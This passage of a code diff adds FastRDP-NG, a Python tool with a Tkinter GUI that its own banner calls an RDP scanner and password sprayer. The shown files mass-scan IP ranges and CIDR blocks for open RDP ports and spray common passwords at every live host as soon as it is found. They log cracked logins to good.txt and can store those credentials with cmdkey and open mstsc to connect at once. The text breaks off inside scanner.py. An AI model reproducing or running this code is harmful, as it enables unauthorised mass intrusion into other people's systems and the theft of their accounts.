||||
|
||||
nb = ttk.Notebook(editor_frame)
|
||||
nb.pack(fill="both", expand=True)
|
||||
|
||||
for name, file_key in [("Usernames", "users"), ("Passwords", "passwords"),
|
||||
("Ranges", "ranges")]:
|
||||
tab = tk.Frame(nb, bg=Colors.INPUT_BG)
|
||||
nb.add(tab, text=f" {name} ")
|
||||
text_widget = scrolledtext.ScrolledText(
|
||||
tab, font=("Consolas", 9), bg="#0d1117", fg=Colors.TEXT,
|
||||
relief="flat", borderwidth=0
|
||||
)
|
||||
text_widget.pack(fill="both", expand=True, padx=2, pady=2)
|
||||
fpath = os.path.join(WORDLISTS_DIR, f"{file_key}.txt")
|
||||
if os.path.exists(fpath):
|
||||
with open(fpath, 'r', errors='ignore') as f:
|
||||
content = f.read()
|
||||
text_widget.insert("1.0", content)
|
||||
setattr(self, f"{file_key}_editor", text_widget)
|
||||
|
||||
about_frame = ttk.LabelFrame(self.tab_settings, text="\u2139 About", padding=8)
|
||||
about_frame.pack(fill="x")
|
||||
tk.Label(about_frame,
|
||||
text="FastRDP-NG v2.0 \u2014 Next Generation RDP Scanner\n"
|
||||
"Built with Python 3.11 + asyncio\n"
|
||||
"Streaming: scan + spray run CONCURRENTLY\n"
|
||||
"Double-click any host to RDP connect instantly\n"
|
||||
"Top 50 password spraying \u2022 CIDR/range support",
|
||||
fg=Colors.TEXT, bg=Colors.BG_MID, justify="left",
|
||||
font=("Segoe UI", 9)).pack(anchor="w", pady=5)
|
||||
|
||||
# ── METRICS UPDATE ─────────────────────────────────────
|
||||
def _update_stats_display(self):
|
||||
s = self.stats
|
||||
elapsed = time.time() - s.start_time if s.start_time > 0 else 0
|
||||
labels_map = {
|
||||
"checked": f"{s.checked:,}",
|
||||
"total": f"{s.total:,}",
|
||||
"live": f"{s.live}",
|
||||
"hits": f"{s.hits}",
|
||||
"rate": f"{s.rate:,.0f}/s" if s.rate > 0 else "0/s",
|
||||
"elapsed": f"{elapsed:.0f}s" if elapsed < 60
|
||||
else f"{elapsed/60:.1f}m"
|
||||
}
|
||||
for key, text in labels_map.items():
|
||||
if key in self._metric_labels:
|
||||
lbl = self._metric_labels[key]
|
||||
try:
|
||||
lbl.config(text=text)
|
||||
except tk.TclError:
|
||||
pass
|
||||
self.root.after(500, self._update_stats_display)
|
||||
|
||||
# ── LOGGING ────────────────────────────────────────────
|
||||
def _log(self, msg: str, tag: str = "info"):
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
try:
|
||||
self.log_text.insert("end", f"[{ts}] {msg}\n", tag)
|
||||
self.log_text.see("end")
|
||||
except tk.TclError:
|
||||
pass
|
||||
tag_colors = {
|
||||
"hit": "\033[92m",
|
||||
"info": "\033[94m",
|
||||
"error": "\033[91m",
|
||||
"scan": "\033[93m",
|
||||
"system": "\033[90m",
|
||||
}
|
||||
color = tag_colors.get(tag, "\033[97m")
|
||||
try:
|
||||
print(f" {color}[{ts}]\033[0m {msg}", flush=True)
|
||||
except OSError:
|
||||
pass
|
||||
|
||||
# ── RDP CONNECT FEATURE ────────────────────────────────
|
||||
def _rdp_connect(self, ip: str, port: int, username: str = "", password: str = ""):
|
||||
"""Launch Windows mstsc (or store creds + launch) for given host."""
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
try:
|
||||
if username and password:
|
||||
# Store credential in Windows Credential Manager for this session
|
||||
# Then mstsc can use it automatically
|
||||
cmdkey_path = r"C:\Windows\System32\cmdkey.exe"
|
||||
if os.path.exists(cmdkey_path):
|
||||
proc = subprocess.run(
|
||||
[cmdkey_path, "/add:TERMSRV", f"/user:{username}", f"/pass:{password}"],
|
||||
capture_output=True, timeout=5,
|
||||
creationflags=subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
self._log(f"\U0001f4bb Stored RDP creds for {username}@{ip}", "system")
|
||||
else:
|
||||
self._log("\U0001f4bb cmdkey not found, launching without stored creds", "system")
|
||||
|
||||
# Launch mstsc
|
||||
mstsc_path = r"C:\Windows\System32\mstsc.exe"
|
||||
if os.path.exists(mstsc_path):
|
||||
rdp_target = f"/v:{ip}:{port}"
|
||||
subprocess.Popen(
|
||||
[mstsc_path, rdp_target],
|
||||
creationflags=subprocess.CREATE_NO_WINDOW
|
||||
)
|
||||
self._log(f"\U0001f4bb RDP launched: {ip}:{port} [{username}]", "hit")
|
||||
self.rdp_status.config(text=f"RDP: {ip}:{port}")
|
||||
print(_c("\033[92m", f" [{ts}] \U0001f4bb RDP \u2192 {ip}:{port} user={username}"))
|
||||
else:
|
||||
self._log("\u274c mstsc.exe not found! Are you on Windows?", "error")
|
||||
except Exception as e:
|
||||
self._log(f"\u274c RDP error: {e}", "error")
|
||||
|
||||
def _rdp_connect_selected(self):
|
||||
"""RDP connect to the currently selected host in the tree."""
|
||||
sel = self.host_tree.selection()
|
||||
if not sel:
|
||||
self.rdp_status.config(text="No host selected!")
|
||||
return
|
||||
item = sel[0]
|
||||
vals = self.host_tree.item(item, "values")
|
||||
ip = vals[0]
|
||||
port = int(vals[1]) if vals[1].isdigit() else 3389
|
||||
user = vals[3] if len(vals) > 3 else ""
|
||||
pwd = vals[4] if len(vals) > 4 else ""
|
||||
self._rdp_connect(ip, port, user, pwd)
|
||||
|
||||
def _on_host_double_click(self, event):
|
||||
self._rdp_connect_selected()
|
||||
|
||||
def _on_hit_double_click(self, event):
|
||||
sel = self.hit_tree.selection()
|
||||
if not sel:
|
||||
return
|
||||
item = sel[0]
|
||||
vals = self.hit_tree.item(item, "values")
|
||||
ip = vals[0]
|
||||
port = int(vals[1]) if vals[1].isdigit() else 3389
|
||||
user = vals[2] if len(vals) > 2 else ""
|
||||
pwd = vals[3] if len(vals) > 3 else ""
|
||||
self._rdp_connect(ip, port, user, pwd)
|
||||
|
||||
def _quick_rdp_dialog(self):
|
||||
dialog = tk.Toplevel(self.root)
|
||||
dialog.title("Quick RDP Connect")
|
||||
dialog.geometry("380x200")
|
||||
dialog.configure(bg=Colors.BG_DARK)
|
||||
dialog.transient(self.root)
|
||||
dialog.grab_set()
|
||||
|
||||
tk.Label(dialog, text="Manual RDP Connection", font=("Segoe UI", 12, "bold"),
|
||||
fg=Colors.ACCENT, bg=Colors.BG_DARK).pack(pady=(10, 5))
|
||||
|
||||
frame = tk.Frame(dialog, bg=Colors.BG_DARK)
|
||||
frame.pack(pady=5)
|
||||
|
||||
tk.Label(frame, text="IP:", fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||
font=("Segoe UI", 9)).grid(row=0, column=0, sticky="w", padx=5)
|
||||
ip_entry = ttk.Entry(frame, width=30)
|
||||
ip_entry.grid(row=0, column=1, padx=5, pady=2)
|
||||
|
||||
tk.Label(frame, text="Port:", fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||
font=("Segoe UI", 9)).grid(row=1, column=0, sticky="w", padx=5)
|
||||
port_entry = ttk.Entry(frame, width=10)
|
||||
port_entry.insert(0, "3389")
|
||||
port_entry.grid(row=1, column=1, sticky="w", padx=5, pady=2)
|
||||
|
||||
tk.Label(frame, text="User:", fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||
font=("Segoe UI", 9)).grid(row=2, column=0, sticky="w", padx=5)
|
||||
user_entry = ttk.Entry(frame, width=30)
|
||||
user_entry.grid(row=2, column=1, padx=5, pady=2)
|
||||
|
||||
def connect():
|
||||
ip = ip_entry.get().strip()
|
||||
port_str = port_entry.get().strip()
|
||||
port = int(port_str) if port_str.isdigit() else 3389
|
||||
user = user_entry.get().strip()
|
||||
self._rdp_connect(ip, port, user)
|
||||
dialog.destroy()
|
||||
|
||||
ttk.Button(dialog, text="\U0001f4bb Connect RDP", style="Accent.TButton",
|
||||
command=connect).pack(pady=10)
|
||||
|
||||
# ── HELPERS ────────────────────────────────────────────
|
||||
def _browse_ranges(self):
|
||||
path = filedialog.askopenfilename(
|
||||
title="Select ranges file",
|
||||
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
|
||||
)
|
||||
if path:
|
||||
self.ranges_entry.delete(0, "end")
|
||||
self.ranges_entry.insert(0, path)
|
||||
|
||||
def _browse_file(self, which: str):
|
||||
path = filedialog.askopenfilename(
|
||||
title=f"Select {which} file",
|
||||
filetypes=[("Text files", "*.txt"), ("All files", "*.*")]
|
||||
)
|
||||
if path:
|
||||
entry = getattr(self, f"{which}_entry", None)
|
||||
if entry:
|
||||
entry.delete(0, "end")
|
||||
entry.insert(0, path)
|
||||
|
||||
def _quick_add_ip(self):
|
||||
dialog = tk.Toplevel(self.root)
|
||||
dialog.title("Quick Add IP")
|
||||
dialog.geometry("350x120")
|
||||
dialog.configure(bg=Colors.BG_DARK)
|
||||
dialog.transient(self.root)
|
||||
dialog.grab_set()
|
||||
tk.Label(dialog, text="Enter IP, range, or CIDR:",
|
||||
fg=Colors.TEXT, bg=Colors.BG_DARK,
|
||||
font=("Segoe UI", 9)).pack(pady=(10, 5))
|
||||
entry = ttk.Entry(dialog, width=45)
|
||||
entry.pack(pady=5)
|
||||
entry.focus()
|
||||
|
||||
def add():
|
||||
ip = entry.get().strip()
|
||||
if ip:
|
||||
rp = self.ranges_entry.get().strip()
|
||||
if rp:
|
||||
try:
|
||||
with open(rp, 'a') as f:
|
||||
f.write(f"\n{ip}")
|
||||
self._log(f"\u2795 Added target: {ip}", "system")
|
||||
except OSError as e:
|
||||
self._log(f"\u274c Failed to write: {e}", "error")
|
||||
else:
|
||||
self._log("\u274c No ranges file path set!", "error")
|
||||
dialog.destroy()
|
||||
ttk.Button(dialog, text="Add Target", command=add).pack()
|
||||
|
||||
def _refresh_good(self):
|
||||
self.good_text.delete("1.0", "end")
|
||||
good_path = os.path.join(RESULTS_DIR, "good.txt")
|
||||
if os.path.exists(good_path):
|
||||
with open(good_path, 'r') as f:
|
||||
self.good_text.insert("1.0", f.read())
|
||||
|
||||
def _update_host_status(self, ip, port, status, user="", pwd=""):
|
||||
"""Update the status of a host in the treeview."""
|
||||
key = (ip, port)
|
||||
if key in self.host_items:
|
||||
item_id = self.host_items[key]
|
||||
self.root.after(0, lambda iid=item_id, s=status, u=user, pw=pwd:
|
||||
self.host_tree.item(iid, values=(ip, str(port), s, u, pw)))
|
||||
else:
|
||||
# New host - insert row
|
||||
self.root.after(0, lambda i=ip, p=port, s=status:
|
||||
self._insert_host(i, p, s))
|
||||
|
||||
def _insert_host(self, ip, port, status):
|
||||
item_id = self.host_tree.insert("", "end", values=(ip, str(port), status, "", ""))
|
||||
self.host_items[(ip, port)] = item_id
|
||||
|
||||
# ── SCAN LOGIC ─────────────────────────────────────────
|
||||
def _start_scan(self):
|
||||
if self.scanning:
|
||||
return
|
||||
self.scanning = True
|
||||
self.start_btn.config(state="disabled")
|
||||
self.stop_btn.config(state="normal")
|
||||
|
||||
self.stats = ScanStats(start_time=time.time(), phase="scanning")
|
||||
for item in self.host_tree.get_children():
|
||||
self.host_tree.delete(item)
|
||||
self.host_items.clear()
|
||||
self.live_hosts.clear()
|
||||
self.hits.clear()
|
||||
|
||||
self._log("\u2501" * 55, "system")
|
||||
self._log("\u25b6\u25b6\u25b6 SCAN STARTED (streaming mode)", "scan")
|
||||
print(_c("\033[96m", " \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510"))
|
||||
print(_c("\033[96m", " \u2502 ") + _c("\033[93m", "FASTRDP-NG v2.0 :: Streaming Scan + Instant Spray") + _c("\033[96m", " \u2502"))
|
||||
print(_c("\033[96m", " \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518"))
|
||||
|
||||
thread = threading.Thread(target=self._scan_worker, daemon=True)
|
||||
thread.start()
|
||||
|
||||
def _stop_scan(self):
|
||||
self.scanning = False
|
||||
self._log("\u25a0 STOP signal sent (finishing current batch)", "error")
|
||||
|
||||
def _clear_results(self):
|
||||
for item in self.host_tree.get_children():
|
||||
self.host_tree.delete(item)
|
||||
for item in self.hit_tree.get_children():
|
||||
self.hit_tree.delete(item)
|
||||
self.host_items.clear()
|
||||
self.live_hosts.clear()
|
||||
self.hits.clear()
|
||||
self.log_text.delete("1.0", "end")
|
||||
self.stats = ScanStats()
|
||||
|
||||
def _load_wordlists(self):
|
||||
"""Load usernames and passwords from files (or use defaults)."""
|
||||
usernames = TOP_USERNAMES
|
||||
passwords = TOP50_PASSWORDS
|
||||
|
||||
uf = self.users_entry.get().strip()
|
||||
if os.path.exists(uf):
|
||||
with open(uf, 'r', errors='ignore') as f:
|
||||
cu = [l.strip() for l in f if l.strip()]
|
||||
if cu:
|
||||
usernames = cu
|
||||
|
||||
pf = self.pass_entry.get().strip()
|
||||
if os.path.exists(pf):
|
||||
with open(pf, 'r', errors='ignore') as f:
|
||||
cp = [l.strip() for l in f if l.strip()]
|
||||
if cp:
|
||||
passwords = cp
|
||||
|
||||
return usernames, passwords
|
||||
|
||||
def _scan_worker(self):
|
||||
"""Background thread: scan + spray run CONCURRENTLY."""
|
||||
try:
|
||||
loop = asyncio.new_event_loop()
|
||||
asyncio.set_event_loop(loop)
|
||||
|
||||
ranges_path = self.ranges_entry.get().strip()
|
||||
if not os.path.exists(ranges_path):
|
||||
self._log(f"\u274c Ranges file not found: {ranges_path}", "error")
|
||||
self._scan_done()
|
||||
return
|
||||
|
||||
self._log("\U0001f4ca Counting targets...", "system")
|
||||
total_ips = count_ips(ranges_path)
|
||||
self.stats.total = total_ips
|
||||
|
||||
ips = list(parse_ranges_file(ranges_path))
|
||||
if not ips:
|
||||
self._log("\u274c No valid IPs found in ranges file!", "error")
|
||||
self._scan_done()
|
||||
return
|
||||
|
||||
if self.randomize_var.get():
|
||||
random.shuffle(ips)
|
||||
|
||||
active_ports = [p for p, v in self.port_vars.items() if v.get()]
|
||||
if not active_ports:
|
||||
active_ports = [3389]
|
||||
|
||||
speed = self.speed_var.get()
|
||||
timeout = self.timeout_var.get()
|
||||
self.stats.total = len(ips) * len(active_ports)
|
||||
|
||||
self._log(f"\U0001f680 Scanning {len(ips):,} IPs x {len(active_ports)} ports "
|
||||
f"({speed:,} concurrent)", "system")
|
||||
print(_c("\033[90m", f" [+] Targets: {len(ips):,} IPs x {len(active_ports)} ports"))
|
||||
print(_c("\033[90m", f" [+] Concurrency: {speed:,} | Timeout: {timeout}s"))
|
||||
print(_c("\033[90m", " [+] Streaming: spray starts IMMEDIATELY on each host found"))
|
||||
print(_c("\033[90m", " [+] " + "\u2500" * 55))
|
||||
|
||||
# Load wordlists now (in the background thread, before async loop)
|
||||
usernames, passwords = self._load_wordlists()
|
||||
self._log(f"\U0001f4cb Loaded {len(usernames)} username(s) x {len(passwords)} password(s)", "system")
|
||||
|
||||
# ── Streaming design ─────────────────────────────
|
||||
# Scan calls live_callback immediately for each live host.
|
||||
# The callback adds the host to a queue, and spray tasks
|
||||
# are created as they arrive — all within the same loop.
|
||||
spray_tasks = []
|
||||
|
||||
def on_live_host(ip: str, port: int):
|
||||
"""Called IMMEDIATELY from the scanner when a host is found."""
|
||||
if not self.scanning:
|
||||
return
|
||||
self.live_hosts.add((ip, port))
|
||||
self.stats.live = len(self.live_hosts)
|
||||
self._log(f"\U0001f310 FOUND: {ip}:{port} \u2014 starting spray...", "scan")
|
||||
self._update_host_status(ip, port, "\U0001f50d RDP Open \u2014 spraying...")
|
||||
print(_c("\033[92m", f" [{time.strftime('%H:%M:%S')}] \u2714 {ip}:{port} \u2014 LIVE, spraying NOW"))
|
||||
|
||||
if self.spray_var.get():
|
||||
# Create an asyncio task for this host's spray
|
||||
task = asyncio.create_task(
|
||||
self._spray_host(loop, ip, port, usernames, passwords)
|
||||
)
|
||||
spray_tasks.append(task)
|
||||
|
||||
def progress_cb(checked, total, found, rate):
|
||||
if not self.scanning:
|
||||
return
|
||||
self.stats.checked = checked
|
||||
self.stats.live = found
|
||||
self.stats.rate = rate
|
||||
|
||||
# Run scan — live_callback fires immediately for each live host
|
||||
scan_task = asyncio.create_task(
|
||||
scan_ips(
|
||||
ips, ports=active_ports,
|
||||
max_concurrent=speed,
|
||||
connect_timeout=timeout,
|
||||
banner_check=False,
|
||||
progress_callback=progress_cb,
|
||||
live_callback=on_live_host
|
||||
)
|
||||
)
|
||||
|
||||
# Wait for scan to finish (spray tasks run alongside)
|
||||
loop.run_until_complete(scan_task)
|
||||
|
||||
# Wait for remaining spray tasks to finish
|
||||
if spray_tasks:
|
||||
self._log(f"\U0001f511 Waiting for {len(spray_tasks)} spray jobs to finish...", "system")
|
||||
loop.run_until_complete(asyncio.gather(*spray_tasks, return_exceptions=True))
|
||||
|
||||
self._scan_done()
|
||||
|
||||
except Exception as e:
|
||||
self._log(f"\u274c ERROR: {e}", "error")
|
||||
import traceback
|
||||
for line in traceback.format_exc().split('\n'):
|
||||
if line.strip():
|
||||
self._log(f" {line}", "error")
|
||||
self._scan_done()
|
||||
|
||||
async def _spray_host(self, loop, ip, port, usernames, passwords):
|
||||
"""Spray ALL passwords against a single host."""
|
||||
try:
|
||||
hits = await spray_single_host(
|
||||
ip, port,
|
||||
usernames=usernames,
|
||||
passwords=passwords,
|
||||
max_concurrent=50,
|
||||
timeout=5.0,
|
||||
hit_callback=lambda i, p, u, pw: self._on_hit_found(i, p, u, pw)
|
||||
)
|
||||
|
||||
if not hits:
|
||||
self._update_host_status(ip, port, "\u274c No hit")
|
||||
self._log(f"\u274c {ip}:{port} \u2014 no valid creds found", "info")
|
||||
print(_c("\033[93m", f" [{time.strftime('%H:%M:%S')}] \u274c {ip}:{port} \u2014 no hits"))
|
||||
else:
|
||||
self._update_host_status(ip, port, "\u2705 CRACKED!",
|
||||
hits[0][2], hits[0][3])
|
||||
self.stats.hits = len(self.hits)
|
||||
|
||||
except Exception as e:
|
||||
self._log(f"Spray error on {ip}:{port}: {e}", "error")
|
||||
|
||||
def _on_hit_found(self, ip, port, user, pwd):
|
||||
"""Called immediately when a credential hit is found."""
|
||||
ts = time.strftime("%H:%M:%S")
|
||||
self.hits.append((ip, port, user, pwd))
|
||||
self.stats.hits = len(self.hits)
|
||||
|
||||
# GUI updates must happen on main thread
|
||||
self.root.after(0, lambda i=ip, p=port, u=user, pw=pwd, t=ts:
|
||||
self.hit_tree.insert("", 0, values=(i, str(p), u, pw, t)))
|
||||
self._write_good(ip, port, user, pwd)
|
||||
|
||||
def _write_good(self, ip: str, port: int, user: str, pwd: str):
|
||||
good_path = os.path.join(RESULTS_DIR, "good.txt")
|
||||
with open(good_path, 'a') as f:
|
||||
f.write(f"{user}:{pwd}@{ip}:{port}\n")
|
||||
|
||||
def _scan_done(self):
|
||||
self.scanning = False
|
||||
self.stats.phase = "done"
|
||||
self.root.after(0, lambda: self.start_btn.config(state="normal"))
|
||||
self.root.after(0, lambda: self.stop_btn.config(state="disabled"))
|
||||
self._log("\u25a0 SCAN COMPLETE", "scan")
|
||||
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] \u25a0 SCAN COMPLETE"))
|
||||
print(_c("\033[96m", f" [{time.strftime('%H:%M:%S')}] Live: {self.stats.live} | Hits: {self.stats.hits}"))
|
||||
print(_c("\033[96m", " \u2500" * 55))
|
||||
|
||||
def _on_close(self):
|
||||
self.scanning = False
|
||||
self.root.destroy()
|
||||
|
||||
def run(self):
|
||||
self.root.mainloop()
|
||||
63
install.bat
Normal file
63
install.bat
Normal file
@@ -0,0 +1,63 @@
|
||||
@echo off
|
||||
title FastRDP-NG v2.0 - Installer
|
||||
cd /d "%~dp0"
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════╗
|
||||
echo ║ FastRDP-NG v2.0 Installer ║
|
||||
echo ╚══════════════════════════════════════════╝
|
||||
echo.
|
||||
|
||||
:: Check Python
|
||||
python --version >nul 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Python is not installed or not in PATH!
|
||||
echo.
|
||||
echo Download Python 3.8+ from: https://python.org/downloads
|
||||
echo Make sure to check "Add Python to PATH" during installation.
|
||||
echo.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
for /f "tokens=2" %%i in ('python --version 2^>^&1') do set pyver=%%i
|
||||
echo [OK] Python %pyver% found
|
||||
|
||||
:: Create directories
|
||||
if not exist "wordlists" mkdir wordlists
|
||||
if not exist "results" mkdir results
|
||||
echo [OK] Directories created
|
||||
|
||||
:: Verify core files exist
|
||||
set FILES=main.py gui.py scanner.py bruteforce.py ip_utils.py
|
||||
for %%f in (%FILES%) do (
|
||||
if exist "%%f" (
|
||||
echo [OK] %%f
|
||||
) else (
|
||||
echo [WARN] %%f not found
|
||||
)
|
||||
)
|
||||
|
||||
:: Create initial good.txt
|
||||
if not exist "results\good.txt" (
|
||||
echo. > "results\good.txt"
|
||||
echo [OK] Created results\good.txt
|
||||
)
|
||||
|
||||
:: Test import
|
||||
echo.
|
||||
echo Testing imports...
|
||||
python -c "from scanner import scan_ips, RDP_PORTS; from ip_utils import parse_ranges_file; from bruteforce import spray_all_hosts, TOP50_PASSWORDS; print(' [OK] All modules loaded successfully')" 2>&1
|
||||
if %errorlevel% neq 0 (
|
||||
echo [FAIL] Import test failed. There may be a syntax error.
|
||||
pause
|
||||
exit /b 1
|
||||
)
|
||||
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════╗
|
||||
echo ║ Installation Complete! ║
|
||||
echo ║ ║
|
||||
echo ║ Run: run.bat or python main.py ║
|
||||
echo ╚══════════════════════════════════════════╝
|
||||
echo.
|
||||
pause
|
||||
87
ip_utils.py
Normal file
87
ip_utils.py
Normal file
@@ -0,0 +1,87 @@
|
||||
"""
|
||||
FastRDP-NG IP Utilities
|
||||
Parse IP ranges, CIDR notation, stick to basics.
|
||||
"""
|
||||
|
||||
import ipaddress
|
||||
import re
|
||||
from typing import Generator
|
||||
|
||||
IP_RANGE_RE = re.compile(
|
||||
r'^(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\s*-\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$'
|
||||
)
|
||||
SINGLE_IP_RE = re.compile(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$')
|
||||
|
||||
|
||||
def parse_line(line: str) -> Generator[str, None, None]:
|
||||
"""Parse a single line: single IP, dash range, CIDR."""
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#') or line.startswith('//'):
|
||||
return
|
||||
|
||||
# CIDR: 192.168.1.0/24
|
||||
if '/' in line:
|
||||
try:
|
||||
network = ipaddress.IPv4Network(line, strict=False)
|
||||
for host in network.hosts():
|
||||
yield str(host)
|
||||
except ValueError:
|
||||
pass
|
||||
return
|
||||
|
||||
# Dash range: 192.168.1.1-192.168.1.255
|
||||
match = IP_RANGE_RE.match(line)
|
||||
if match:
|
||||
try:
|
||||
start = int(ipaddress.IPv4Address(match.group(1)))
|
||||
end = int(ipaddress.IPv4Address(match.group(2)))
|
||||
if start > end:
|
||||
start, end = end, start
|
||||
# Cap at /16 to prevent memory bombs
|
||||
if end - start > 65536:
|
||||
end = start + 65536
|
||||
for ip_int in range(start, end + 1):
|
||||
yield str(ipaddress.IPv4Address(ip_int))
|
||||
except ValueError:
|
||||
pass
|
||||
return
|
||||
|
||||
# Single IP
|
||||
if SINGLE_IP_RE.match(line):
|
||||
yield line
|
||||
|
||||
|
||||
def parse_ranges_file(filepath: str) -> Generator[str, None, None]:
|
||||
"""Parse ranges.txt, yield individual IPs lazily."""
|
||||
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
for line in f:
|
||||
yield from parse_line(line)
|
||||
|
||||
|
||||
def count_ips(filepath: str) -> int:
|
||||
"""Quick count of total IPs for progress tracking."""
|
||||
total = 0
|
||||
with open(filepath, 'r', encoding='utf-8', errors='ignore') as f:
|
||||
for line in f:
|
||||
line = line.strip()
|
||||
if not line or line.startswith('#') or line.startswith('//'):
|
||||
continue
|
||||
if '/' in line:
|
||||
try:
|
||||
n = ipaddress.IPv4Network(line, strict=False)
|
||||
total += max(0, n.num_addresses - 2)
|
||||
except ValueError:
|
||||
total += 1
|
||||
elif IP_RANGE_RE.match(line):
|
||||
m = IP_RANGE_RE.match(line)
|
||||
if m is None:
|
||||
total += 1
|
||||
continue
|
||||
s = int(ipaddress.IPv4Address(m.group(1)))
|
||||
e = int(ipaddress.IPv4Address(m.group(2)))
|
||||
if s > e:
|
||||
s, e = e, s
|
||||
total += min(e - s + 1, 65536)
|
||||
elif SINGLE_IP_RE.match(line):
|
||||
total += 1
|
||||
return total
|
||||
50
main.py
Normal file
50
main.py
Normal file
@@ -0,0 +1,50 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
FastRDP-NG v2.0 - Next Generation RDP Scanner & Password Sprayer
|
||||
===============================================================
|
||||
Blazing-fast async RDP scanner with Windows GUI.
|
||||
Scans thousands of IPs per second, finds live RDP hosts,
|
||||
then sprays top 50 common passwords.
|
||||
|
||||
Usage:
|
||||
python main.py # Launch GUI
|
||||
"""
|
||||
|
||||
import sys
|
||||
import os
|
||||
|
||||
# Force UTF-8 encoding to handle Unicode box-drawing characters in banner
|
||||
try:
|
||||
# Python 3.7+ on Windows: reconfigure stdout to UTF-8
|
||||
sys.stdout.reconfigure(encoding='utf-8')
|
||||
except (AttributeError, ValueError):
|
||||
pass
|
||||
|
||||
# Add project dir to path
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
|
||||
from gui import FastRDPGUI
|
||||
|
||||
|
||||
def main():
|
||||
print("""
|
||||
╔══════════════════════════════════════════╗
|
||||
║ FastRDP-NG v2.0 ║
|
||||
║ Next-Gen RDP Scanner & Password Sprayer ║
|
||||
╚══════════════════════════════════════════╝
|
||||
""")
|
||||
|
||||
# Check if tkinter is available
|
||||
try:
|
||||
import tkinter
|
||||
except ImportError:
|
||||
print("[!] ERROR: tkinter not found! GUI mode requires tkinter.")
|
||||
print(" On Windows, reinstall Python with 'tcl/tk and IDLE' checked.")
|
||||
sys.exit(1)
|
||||
|
||||
app = FastRDPGUI()
|
||||
app.run()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
3
requirements.txt
Normal file
3
requirements.txt
Normal file
@@ -0,0 +1,3 @@
|
||||
# FastRDP-NG - zero dependencies needed for core
|
||||
# Optional pretty terminal output:
|
||||
# colorama>=0.4.6
|
||||
21
run.bat
Normal file
21
run.bat
Normal file
@@ -0,0 +1,21 @@
|
||||
@echo off
|
||||
title FastRDP-NG v2.0
|
||||
cd /d "%~dp0"
|
||||
|
||||
:: Force UTF-8 encoding for Unicode box-drawing characters in banner
|
||||
set PYTHONIOENCODING=utf-8
|
||||
|
||||
echo.
|
||||
echo ╔══════════════════════════════════════════╗
|
||||
echo ║ FastRDP-NG v2.0 ║
|
||||
echo ║ Launching GUI... ║
|
||||
echo ╚══════════════════════════════════════════╝
|
||||
echo.
|
||||
python main.py
|
||||
if %errorlevel% neq 0 (
|
||||
echo.
|
||||
echo [!] Python not found or error occurred.
|
||||
echo [!] Make sure Python 3.8+ is installed and in PATH.
|
||||
echo [!] Download: https://python.org/downloads
|
||||
pause
|
||||
)
|
||||
141
scanner.py
Normal file
141
scanner.py
Normal file
@@ -0,0 +1,141 @@
|
||||
"""
|
||||
FastRDP-NG: Blazing-fast async RDP scanner.
|
||||
Connects to thousands of IPs concurrently to find live RDP hosts.
|
||||
"""
|
||||
|
||||
import asyncio
|
||||
import logging
|
||||
import time
|
||||
from typing import Set, Tuple, List
|
||||
|
||||
logger = logging.getLogger("FastRDP-NG")
|
||||
|
||||
# RDP ports to scan
|
||||
RDP_PORTS = [3389, 3390, 3391]
|
||||
|
||||
# First 3 bytes of an RDP Negotiation Response (T.125)
|
||||
# Actual RDP servers respond with 0x03 (TPKT version 3)
|
||||
RDP_BANNER_SIG = b'\x03\x00'
|
||||
|
||||
|
||||
async def check_rdp_port(
|
||||
ip: str,
|
||||
port: int,
|
||||
timeout: float = 2.0
|
||||
) -> Tuple[str, int, bool]:
|
||||
"""
|
||||
Rapid async TCP connect check.
|
||||
Returns (ip, port, is_open).
|
||||
No banner reading - pure connection speed.
|
||||
"""
|
||||
try:
|
||||
_, writer = await asyncio.wait_for(
|
||||
asyncio.open_connection(ip, port),
|
||||
timeout=timeout
|
||||
)
|
||||
writer.close()
|
||||
await writer.wait_closed()
|
||||
return (ip, port, True)
|
||||
except (asyncio.TimeoutError, ConnectionRefusedError,
|
||||
OSError, ConnectionError):
|
||||
return (ip, port, False)
|
||||
|
||||
|
||||
async def check_rdp_with_banner(
|
||||
ip: str,
|
||||
port: int,
|
||||
connect_timeout: float = 2.0,
|
||||
banner_timeout: float = 1.0
|
||||
) -> Tuple[str, int, bool]:
|
||||
"""
|
||||
Connect + read initial bytes to confirm it's actually RDP.
|
||||
Slower but more accurate - catches non-RDP services on 3389.
|
||||
"""
|
||||
try:
|
||||
reader, writer = await asyncio.wait_for(
|
||||
asyncio.open_connection(ip, port),
|
||||
timeout=connect_timeout
